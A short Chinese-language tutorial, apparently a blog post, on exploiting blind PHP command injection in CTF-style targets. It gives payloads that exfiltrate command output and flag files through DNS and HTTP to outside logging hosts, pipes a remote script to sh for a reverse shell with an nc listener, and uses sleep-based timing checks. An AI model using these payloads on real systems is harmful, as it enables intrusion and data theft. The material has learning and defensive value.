php--无回显情况下的命令执行

免责声明:本文仅做技术交流与学习...

目录

绕过模版:

[1. 写入文件、二次返回:](#1. 写入文件、二次返回:)

[2. DNS信道:](#2. DNS信道:)

3.http信道:

[4.反弹shell信道 -->公网IP](#4.反弹shell信道 -->公网IP)

[5.延时 sleep 3](#5.延时 sleep 3)


建立通道(信道) --数据传输的路径

shell_exec 与 system 相比,shell_exec没有回显结果.

绕过模版:

<?php

echo "hello world";

命令执行:

cmd=_POST['cmd'];

system($cmd);

?>

1. 写入文件、二次返回:

/?cmd=whoami>1.txt

再访问1.txt:

/?cmd=cat fl?g.php>1.txt


2. DNS信道:

dnslog.cn

/?cmd=ping -c 1 `执行命令`.域名 --1次解析

/?cmd=a=`sed -n "3,4p" fla?.php`;curl${a:0:10}.域名 --一次带出的字符有限.

/?cmd=a=`sed -n "3,4p" fla?.php`;curl${a:10:30}.域名

/?cmd=a=`sed -n "3,4p" fla?.php|base64`;curl${a:10:30}.域名 --base64编码


3.http信道:

https://requestrepo.com/#/

https://requestrepo.com/#/

(看get请求包)

/?cmd=curl http://域名/?1=\`ls .|base64`

/?cmd=curl http://域名/?1=\`cat fl?g.php|base64`


4.反弹shell信道 -->公网IP

https://your-shell.com/

https://your-shell.com/

(用微软的浏览器访问.)

curl https://your-shell.com/\<your公网ip>:1337 | sh

/?cmd=curl https://your-shell.com/\<your公网ip>:1337 | sh

服务器: nc -lvvnp 1337


5.延时 sleep 3

--麻烦啊

&2=sleep 3 ||还可验证命令执行.


相关推荐
柳鲲鹏34 分钟前
交叉编译:strip: Unable to recognise the format of the input file xx.c.o
linux·运维·服务器
悟能不能悟39 分钟前
cmd什么命令可以知道本机到目标机的ip节点
网络·网络协议·tcp/ip
爱学习的小鱼gogo42 分钟前
python 矩阵中寻找就接近的目标值 (矩阵-中等)含源码(八)
开发语言·经验分享·python·算法·职场和发展·矩阵
可爱的秋秋啊1 小时前
简单网站编写
开发语言·前端
冬夜戏雪1 小时前
[学习日记][springboot 1-7][leetcode 6道]
java·开发语言·学习
QX_hao1 小时前
【Go】--数据类型
开发语言·后端·golang
Le1Yu1 小时前
微服务拆分以及注册中心
linux·运维·服务器
六点半8881 小时前
【计算机网络】初识网络(TCP / IP五层模型 + 网络协议栈和操作系统关系 + 网络传输基本流程 + 数据包封装和分用)
网络·计算机网络
code_ing-1 小时前
【Linux】Linux基本指令
linux·笔记
星秀日1 小时前
框架--MyBatis
java·开发语言·mybatis